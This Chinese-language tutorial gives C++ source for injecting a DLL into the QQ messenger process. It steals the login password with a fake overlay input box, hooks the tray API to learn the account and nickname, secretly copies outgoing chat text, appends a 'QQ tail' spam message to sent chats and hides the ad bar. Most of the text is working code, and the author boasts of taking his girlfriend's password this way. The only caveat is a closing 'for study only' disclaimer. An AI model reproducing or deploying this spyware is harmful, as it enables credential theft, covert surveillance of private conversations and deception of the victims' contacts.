前言
思路分析
進入QQ進程
遠程注入DLL
截取QQ登錄密碼
截取本機QQ賬號和昵稱
截取聊天內容
增加QQ尾巴
去掉QQ廣告欄
鄭重申明
結束語
前言
中國網民沒有不熟悉QQ的,QQ玩家沒有不知道珊瑚蟲和彩虹的去廣告顯IP版QQ的,有段時間QQ尾巴也很盛行,就是每次聊天的時候它自動在你的聊天文字後面加一段話,欺騙你的QQ網友上當。如今的網絡就好比武俠小說裡的江湖,行走江湖的劍客須有絕世武功方可不倒於對手的劍下。
本文將向你講述如何截取QQ密碼和聊天內容,如何將QQ的廣告欄去掉,並添加自定的QQ尾巴。
思路分析
要截獲QQ密碼,大家一定想到鍵盤鉤子,2006版以前的QQ用這種方法的確可以截獲到QQ密碼,我也曾經用這種方法將我女朋友的QQ密碼給弄過來了,~~,但2007版以後的QQ在密碼輸入框裡做了大量的手腳,即使用spy++也無法截取到任何消息,鍵盤鉤子也失效了。我們總是幸運的,QQ登錄窗口的消息還是可以獲取到,既然鉤子不能用了,那我們何不換種思維方式走走捷徑呢?修改登錄窗口的回調函數地址,截取其所有消息,並創建一個虛假的密碼輸入框來到達截取密碼的目的,就好比在復寫紙上寫字,字跡會留下痕跡。
騰訊為了保護聊天內容的安全性,防止QQ尾巴的干擾,對聊天的文字輸入框用額外的控件做了特殊處理,同樣不能截取到任何消息,也不能用WM_GETTEXT和WM_CHAR消息來取得其中的文字內容。其實這個問題好解決,只要用模擬鍵盤程序模擬“Ctrl+A”->“Ctrl+C”就可以得到聊天內容了。
去QQ廣告就更容易了,只要找到廣告顯示的子窗口,將它隱藏起來,然後在相同位置放一個自己的子窗口就可以了,如果獲取到IP地址或對方的地理位置等信息也可以顯示在這裡。
說到這裡,還有一個非常重要的問題,那就是我們的程序必須執行在QQ空間,因為Windows系統進程是受系統保護的,每個進程有自己獨立的內存空間,很多API函數只對同一個進程有效,我們必須解決這個問題。
進入QQ進程
要將我們自己寫的代碼執行在QQ進程空間中才能實現我們上面的的分析思路,我想到了兩種方法:
第一種方法還是鉤子,我們的代碼寫到一個dll動態鏈接庫裡,然後啟動系統鉤子,當任何一個進程啟動時,我們的dll將會被加載到該進程中,我們判斷是否為QQ進程,如果不是,我們的dll就立即卸載,否則我們就順利地進入到QQ進程空間了。這種方法有個缺點,就是任何進程啟動時我們的dll都會被加載,嚴重影響到系統性能,我們在學習鉤子的時候書本上也確實講過,系統鉤子最好少用,如果程序代碼執行效率不高的情況下,將影響系統性能,再好用的軟件也將變成垃圾而被用戶清除出去的。
第二種方法就是遠程dll注入,即用創建遠程線程的方法在QQ進程空間中注入一個我自己的線程,這種方法針對性很強,只對QQ進程進行操作,不操作其他進程,不影響系統性能,而且靈活性好,我們隨時可以將線程注入,也可以隨時撤銷,而第一種方法是系統鉤子內部控制的,我們無法干預。
遠程注入Dll
我們的程序分為兩個部分,一部分是exe執行程序,可以控制Dll的注入,另一部分就是我們要注入的Dll。
首先我們要找到系統中的QQ進程,這裡要用到ToolHelp32系列函數,以下函數能枚舉出系統所有的進程:
BOOL CProcessManage::EnumSystemProcess (
OUT CStringArray *pStrAry_ProcessName/*=NULL*/,
OUT CUIntArray *pUIntAry_ProcessID/*=NULL*/,
OUT CStringArray *pStrAry_ProcessPriority/*=NULL*/,
OUT CUIntArray *pUIntAry_ThreadNum/*=NULL*/,
OUT CStringArray *pStrAry_ProcessPath/*=NULL*/
)
{
HANDLE hProcess = NULL;
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = ::CreateToolhelp32Snapshot ( TH32CS_SNAPPROCESS, 0 );
if ( hProcessSnap == INVALID_HANDLE_VALUE )
return FALSE;
BOOL bMore = ::Process32First(hProcessSnap,&pe32);
while ( bMore )
{
hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pe32.th32ProcessID);
if ( pStrAry_ProcessName ) pStrAry_ProcessName->Add ( pe32.szExeFile );
if ( pUIntAry_ProcessID ) pUIntAry_ProcessID->Add ( pe32.th32ProcessID );
if ( pUIntAry_ThreadNum ) pUIntAry_ThreadNum->Add ( pe32.cntThreads );
if ( pStrAry_ProcessPriority ) pStrAry_ProcessPriority->Add ( GetProcessPriority(hProcess) );
if ( pStrAry_ProcessPath ) pStrAry_ProcessPath->Add ( GetProcessPath(pe32.th32ProcessID) );
bMore = ::Process32Next(hProcessSnap,&pe32);
}
::CloseHandle(hProcessSnap);
return TRUE;
}
從枚舉出的所有進程中找到QQ進程,如下代碼:
//
// 枚舉出 “qq.exe”的進程
//
int EnumQQProcess ( CStringArray *pStrAry_ProcessName/*=NULL*/,
CUIntArray *pUIntAry_ProcessID/*=NULL*/,
CStringArray *pStrAry_ProcessPath/*=NULL*/ )
{
CStringArray StrAry_ProcessName;
CUIntArray UIntAry_ProcessID;
CStringArray StrAry_ProcessPath;
if ( !CProcessManage::EnumSystemProcess (
&StrAry_ProcessName,
&UIntAry_ProcessID,
NULL,
NULL,
&StrAry_ProcessPath
) )
{
return -1;
}
ASSERT ( StrAry_ProcessName.GetSize() == UIntAry_ProcessID.GetSize() );
ASSERT ( StrAry_ProcessName.GetSize() == StrAry_ProcessPath.GetSize() );
int nCount = 0;
for ( int i=0; i<StrAry_ProcessName.GetSize(); i++ )
{
CString csProcessName = StrAry_ProcessName.GetAt ( i );
TRACE ( _T("%s\n"), csProcessName );
csProcessName.MakeLower ();
if ( csProcessName == _T("qq.exe") )
{
nCount ++;
if ( pStrAry_ProcessName ) pStrAry_ProcessName->Add ( csProcessName );
if ( pUIntAry_ProcessID ) pUIntAry_ProcessID->Add ( UIntAry_ProcessID.GetAt(i) );
if ( pStrAry_ProcessPath ) pStrAry_ProcessPath->Add ( StrAry_ProcessPath.GetAt(i) );
}
}
return nCount;
}
接下來我們使用函數VirtualAllocEx()/WriteProcessMemory()函數在QQ進程中申請內存空間,將我們的數據參數寫入到QQ進程內存空間裡,然後用CreateRemoteThread()函數在QQ進程空間中啟動一個遠程線程,將我們的dll執行在QQ進程空間中,如下函數既是:
typedef void (WINAPI *FUNC_SetRemoteParameter) ( LPVOID pParaAddrss, HWND hWndInvoker );
BOOL CRemoteThreadMateQQDlg::RemoteInject ( DWORD dwPID, BOOL bInjected )
{
if ( dwPID < 1 ) return FALSE;
ShowLogText ( FormatString(_T("發現新的QQ進程(ID:%u),現在注入遠程線程。\r\n"), dwPID) );
BOOL bRet = TRUE;
// 獲取dll文件路徑
CString csDllPath = GetProgramDir ();
csDllPath += _T("dllRemoteThread.Dll");
TCHAR szDllPath[MAX_PATH] = {0};
lstrcpyn ( szDllPath, csDllPath, COUNT(szDllPath) );
// 定義變量
void *pParaRemote = NULL;
void *pDataRemote = NULL;
HANDLE hProcess = NULL;
if ( !bInjected )
{
// 打開遠程進程
hProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPID);
if (! hProcess ) return FALSE;
// 在遠程進程中分配內存空間,並將數據寫入
t_RemoteThreadPara tRemoteThreadPara = {0};
strncpy ( tRemoteThreadPara.szQQTail, "我是QQ尾巴,哇哈哈……", COUNT(tRemoteThreadPara.szQQTail) );
pParaRemote = (void*) VirtualAllocEx( hProcess, 0, sizeof(t_RemoteThreadPara), MEM_COMMIT, PAGE_READWRITE );
::WriteProcessMemory ( hProcess, pParaRemote, &tRemoteThreadPara, sizeof(t_RemoteThreadPara), NULL );
pDataRemote = (void*) VirtualAllocEx( hProcess, 0, sizeof(szDllPath), MEM_COMMIT, PAGE_READWRITE );
::WriteProcessMemory ( hProcess, pDataRemote, szDllPath, sizeof(szDllPath), NULL );
}
// 裝載dll文件,並將參數傳入dll的數據共享區
HMODULE hMod = LoadLibrary ( szDllPath );
if ( hMod )
{
FUNC_SetRemoteParameter pfnSetRemoteParameter = \
(FUNC_SetRemoteParameter)GetProcAddress ( hMod, TEXT("SetRemoteParameter") );
if ( pfnSetRemoteParameter )
pfnSetRemoteParameter ( pParaRemote, GetSafeHwnd() );
}
else
{
bRet = FALSE;
}
if ( !bInjected )
{
// 創建遠程線程執行代碼
DWORD dwThreadID = 0;
HANDLE hThread = ::CreateRemoteThread ( hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)LoadLibrary,
pDataRemote, 0, &dwThreadID );
if ( HANDLE_IS_VALID(hThread) )
{
// 等待遠程線程結束
::WaitForSingleObject ( hThread, INFINITE );
DWORD dwRetCode = 0;
::GetExitCodeThread ( hThread, &dwRetCode );
TRACE ("run and return %d\n", dwRetCode );
}
else
{
bRet = FALSE;
}
}
// 釋放資源
if ( hProcess && pDataRemote )
VirtualFreeEx( hProcess, pDataRemote, 0, MEM_RELEASE );
if ( hMod ) FreeLibrary ( hMod );
return bRet;
}
截取QQ登錄密碼
當我們的Dll注入到QQ進程以後,我們就可以在裡面再啟動幾個線程來為我所用,其中一個線程定時調用EnumWindows()函數來獲取系統中的窗口,並找到QQ登錄窗口,然後調用如下代碼來修改窗口的過程地址:
// 修改相關窗口的 WindowProc 地址
ChangeWindownProc ( m_hWndQQLoginWindow, &g_pfnOrgWindowProc_QQLoginWindow, WindowProc_QQLoginWindow );
修改以後,QQ登錄窗口的所有消息都將WindowProc_QQLoginWindow()函數獲取。
我們用EnumChildWindows()找到密碼輸入框的子窗口,然後創建一個EDIT控件,其大小和位置與QQ密碼輸入框一樣,這樣就覆蓋在QQ密碼輸入框的上邊了,用戶在輸入密碼時實際上輸入到我們的框中來了。
為了保證我們的編輯框始終獲得輸入焦點,並且當QQ登陸框最小化或還原時還有窗口移動時不出現破綻,有幾個消息我們需要處理:
WM_MOVING – 當QQ登錄窗口移動時,我們重新計算相對位置,並將我們的編輯框移動到新位置上。
WM_SYSCOMMAND – 當QQ登錄窗口最小化、還原和關閉時,我們的編輯框應該隱藏、顯示和銷毀。
WM_COMMAND – 當用戶點擊“登錄”按鈕時我們要做相應處理,將我們的密碼發送給QQ的密碼輸入框;當QQ的密碼輸入框獲得焦點時,我們應該將焦點轉移到我們的編輯框中。
當用戶輸入完密碼按“回車”鍵或點“登錄”按鈕時,我們先將QQ登錄窗口隱藏起來,以免露出破綻,然後將我們收到到的密碼在QQ密碼輸入框中重新輸入一次,並發送“回車”按鍵消息,此時QQ真正開始登錄,而密碼已經悄悄地落入我手,哇哈哈……
如下圖:
上圖中紅方框指引的輸入框是我們的程序所創建,不是QQ的密碼輸入框,因為QQ的密碼輸入框裡的文字是不能被選取,也不能復制粘貼的,而我們的輸入框則可以。
截取本機QQ賬號和昵稱
我們要截獲密碼或聊天內容等,首先應該先要獲取到本機的QQ賬號和昵稱,要不然我們截獲的內容歸屬於誰呢?沒有歸屬的信息是毫無意義的,我想過很多辦法來獲取當前登錄的QQ 賬號和昵稱,用讀取遠程進程內存空間的辦法可以獲取,但速度太慢,最後想到在我們的系統托盤裡就有這些信息的提示,如下圖:
那我們如何才能獲取到系統托盤的提示信息呢?那我們就要追溯到托盤的產生根源了,托盤圖標是利用Win32 API函數Shell_NotifyIcon()產生的,所以我這裡想到的辦法就是Hook API的方法,就是替換Win32API函數地址,在QQ調用Shell_NotifyIcon()函數產生系統托盤前先調用我們的函數,如下代碼所示:
typedef BOOL (WINAPI *PFN_Shell_NotifyIconA) ( DWORD dwMessage, PNOTIFYICONDATA lpdata );
BOOL WINAPI Hook_Shell_NotifyIconA ( DWORD dwMessage, PNOTIFYICONDATA lpdata );
CAPIHook g_Shell_NotifyIconA ("shell32.dll", "Shell_NotifyIconA", (PROC) Hook_Shell_NotifyIconA, TRUE);
以上代碼是將Win32API系統函數Shell_NotifyIconA()地址修改為我們自己的函數地址“Hook_Shell_NotifyIconA”,這樣以來QQ對系統托盤做任何操作時都會先調用我們的函數“Hook_Shell_NotifyIconA”,我們就可以從托盤提示文字裡找到本地登錄的QQ號碼和昵稱了。
但是,如果我們的程序在執行前QQ已經啟動了,QQ進程不會調用Shell_NotifyIcon()函數了,那我們也就無法獲得其QQ號碼和昵稱了,怎麼辦?我們可以嘗試將“Explorer”(資源管理器)進程kill掉,這時Windows會自動重新啟動一個“Explorer”,這時QQ進程就重新調用Shell_NotifyIcon()來創建一個新的托盤圖標了,那我們可以假冒系統給QQ進程發一條托盤重建的消息讓QQ自己調用Shell_NotifyIcon()函數重建托盤圖標,這時我們就可以竊取到本地登錄的QQ賬號和昵稱了。
//
// 通知QQ重建托盤圖標
//
void NotifyQQRecreateTray ()
{
if ( m_pQQMate )
{
m_pQQMate->m_csLocalQQAccount.Empty();
m_pQQMate->m_csLocalQQNickname.Empty();
memset ( &m_pQQMate->m_tnd, 0, sizeof(NOTIFYICONDATA) );
}
CUIntArray UIntAry_ThreadID;
CProcessManage::GetThreadInfo ( GetCurrentProcessId(), &UIntAry_ThreadID );
for ( int i=0; i<UIntAry_ThreadID.GetSize(); i++ )
{
EnumThreadWindows ( UIntAry_ThreadID.GetAt(i), EnumThreadWndProc, LPARAM(NULL) );
}
}
BOOL CALLBACK EnumThreadWndProc ( HWND hwnd, LPARAM lParam )
{
TCHAR szClassName[255] = {0};
::GetClassName ( hwnd, szClassName, COUNT(szClassName) );
if ( lstrcmp ( _T("Afx:400000:0"), szClassName ) == 0 )
{
if ( !WM_TASKBARCREATED )
WM_TASKBARCREATED = ::RegisterWindowMessage ( _T("TaskbarCreated") );
SendMessage ( hwnd, WM_TASKBARCREATED, NULL, NULL );
// HwDbgLog ( L_DEBUG, _T("刪除托盤圖標: hwnd - 0x%X, Class - %s"),
// hwnd, szClassName );
}
return TRUE;
}
被Hook後的QQ托盤信息
截取聊天內容
在我們注入到QQ進程空間的Dll中啟動線程,定時枚舉系統中的窗口,當找到聊天窗口時我們需要收集到聊天內容。
聊天內容分為“發送”內容和“接收”內容。“接收”的文字內容未做限制,直接用WM_GET_TEXT便能獲得。發送的內容比較麻煩一點,首先我們要知道用戶何時發送(點“發送”按鈕、按快捷鍵“Ctrl+Enter”、按快捷鍵“Alt+S”),要解決這些問題,我同樣需要截獲聊天窗口的消息。
首先我們用EnumWindows()函數在線程中定時查找QQ聊天窗口,一旦發現新的聊天窗口出現,我們立即修改窗口過程函數地址:
// 修改相關窗口的 WindowProc 地址
ChangeWindownProc ( pFindQQChatInfoPara->m_hWndChatWindow,
&pFindQQChatInfoPara->m_pfnOrgWindowProc_ChatWindow,
WindowProc_ChatWindow );
以上代碼將QQ聊天窗口的過程函數改為我們自己的函數“WindowProc_ChatWindow()”,
那用戶到底什麼時候發送聊天信息呢?我們只要截獲消息711即可,收到該消息以後我們將觸發一個事件,我們另外的線程便開始工作,將聊天內容通過模擬鍵盤事件的方式復制出來,然後再保存到我們另外的內存區域裡。
//
// 獲取用戶正要發送的聊天內容,保存到數組中
//
CString CQQMate::GetWillSentChatText ()
{
HwDbgLog ( L_DEBUG, _T("----------------------------- GetWillSentChatText()") );
int nSleepTime = 100;
// 激活“發送文字信息的編輯框”並獲取輸入焦點
ActiveWindowAndHoldFocus ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow );
CRect rcEditForSendMessage(0,0,0,0);
::GetWindowRect ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage, &rcEditForSendMessage );
::SetFocus ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndEditForSendMessage );
MouseLeftClick ( rcEditForSendMessage.CenterPoint() );
// 將要發送的文字內容拷貝出來並保存起來
CString csSendingText;
for ( int i=0; i<10; i++ )
{
GetClipBoardText (); // 清空剪貼板
KeyboardCombineEvent ( VK_CONTROL, 'A', '\0' );
Sleep(nSleepTime);
KeyboardCombineEvent ( VK_CONTROL, 'C', '\0' );
Sleep(nSleepTime);
csSendingText = GetClipBoardText();
HwDbgLog ( L_DEBUG, _T("csSendingText = %s"), csSendingText );
if ( !csSendingText.IsEmpty() )
break;
}
HwDbgLog ( L_DEBUG, _T("發送文字信息: %s"), csSendingText );
if ( csSendingText.IsEmpty() )
{
return csSendingText;
}
else
{
m_pFindQQChatInfoPara_WillSendTextMsg->AddQQChatContent ( TRUE, csSendingText );
}
return csSendingText;
}
增加QQ尾巴
在獲取到聊天內容後,還可以用模擬鍵盤的方式將QQ尾巴信息加到要發送的文字後面,如下代碼所示:
CString CQQMate::AddQQTailText () { HwDbgLog ( L_DEBUG, _T("----------------------------- AddQQTailText()") ); int nSleepTime = 100; CString csQQTail; // 將“消息模式”的聊天窗口透明化隱藏起來 if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_MESSAGEMODE ) { // TransparentWindow ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow, 0 ); ::ShowWindow ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow, SW_RESTORE ); } // 增加QQ尾巴內容 int nQQTailPos = -1; csQQTail = GetQQTailText ( m_pFindQQChatInfoPara_WillSendTextMsg->m_csQQPeerAccount ); if ( !csQQTail.IsEmpty() ) { if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_DISCUSSION ) csQQTail.Insert ( 0, _T("\r\n") ); CopyTextToClipboard ( csQQTail ); Sleep(nSleepTime); if ( m_pFindQQChatInfoPara_WillSendTextMsg->m_eQQChatWindowType == QQCHATWINDOW_DISCUSSION ) KeyboardCombineEvent ( VK_CONTROL, VK_END, '\0' ); else KeyboardCombineEvent ( VK_CONTROL, 'A', '\0' ); Sleep(nSleepTime); KeyboardCombineEvent ( VK_CONTROL, 'V', '\0' ); Sleep(nSleepTime); } HwDbgLog ( L_DEBUG, _T("QQ尾巴內容 = %s"), csQQTail ); return csQQTail; }
由於我們是在用戶做了發送操作(點“發送”按鈕、按快捷鍵“Ctrl+Enter”、按快捷鍵“Alt+S”)之後才進行我們的處理,所以簡單地將QQ尾巴信息加到發送框裡是發送不出去的,所以我們必須在增加QQ尾巴信息完成後再向QQ聊天窗口發送一個“發送按鈕”被點擊的消息,如下代碼所示:
if ( !csQQTail.IsEmpty() )
{
::PostMessage ( m_pFindQQChatInfoPara_WillSendTextMsg->m_hWndChatWindow,
WM_COMMAND,
(WPARAM)CONTROL_ID_CHAT_BUTTON_SEND,
LPARAM(NULL) );
}
看看程序效果圖:
輸入聊天文字
發送聊天信息後自動增加了QQ尾巴
去掉QQ廣告欄
用EnumChildWindows() API函數查找到廣告欄子窗口句柄,然後隱藏它,如下代碼所示:
if ( !IsWindow(pFindQQChatInfoPara->m_hWndAD1) )
{
// 類名符合嗎
if ( strstr_hw ( szClassName, _T("static") ) )
{
CRect rc, rcAD1(248,22,490,62);
::GetWindowRect ( hWnd, &rc );
CWnd::FromHandle(g_hWndQQChatWindow)->ScreenToClient ( &rc );
if ( rcAD1.EqualRect(&rc) ||
( rcAD1.PtInRect(rc.TopLeft()) && rcAD1.PtInRect(rc.BottomRight()) ) ||
( rc.PtInRect(rcAD1.TopLeft()) && rc.PtInRect(rcAD1.BottomRight()) )
)
{
pFindQQChatInfoPara->m_hWndAD1 = hWnd;
::ShowWindow ( hWnd, SW_HIDE );
}
}
}
接著將我們需要顯示的文字內容寫上去,可以截獲消息WM_PAINT和WM_ERASEBKGND,用設備上下文句柄顯示我們的內容,如下代碼所示:
if ( uMsg == WM_PAINT || uMsg == WM_ERASEBKGND )
{
CRect rcAD1(248,22,490,62);
SetBkMode ( (HDC) wParam, TRANSPARENT );
if ( uMsg == WM_ERASEBKGND )
{
HwDbgLog ( L_DEBUG, _T("WM_ERASEBKGND ::FillRect") );
CBrush brsBkGnd;
brsBkGnd.CreateSolidBrush( RGB(114,201,252) );
FillRect ( (HDC) wParam, &rcAD1, (HBRUSH)brsBkGnd.GetSafeHandle() );
}
if ( uMsg == WM_ERASEBKGND || uMsg == WM_PAINT )
{
CString csAD1 = _T("這是廣告位置,已經被屏蔽掉了。\r\n ——謝紅偉");
::DrawText ( (HDC) wParam, csAD1, csAD1.GetLength(), &rcAD1, DT_CENTER|DT_VCENTER );
}
}
執行效果如下圖:
有廣告的QQ聊天窗口
去掉廣告欄之後的聊天窗口
鄭重申明
本代碼和本代碼的相關文章僅供學習和技術交流之用,嚴禁用於非法用途,否則本人概不負任何責任!
結束語
本程序代碼支持多個QQ同時登錄的處理,但界面上只顯示最後一個登錄的QQ信息。
知識就是力量,知識共享將具有推動時代進步的力量。希望我能為中國的軟件行業盡一份薄力。
你可以任意修改復制本代碼,但請保留版權信息文字不要修改。
由於水平有限,錯誤再所難免,請知情者原諒並告知,多謝!
本文配套源碼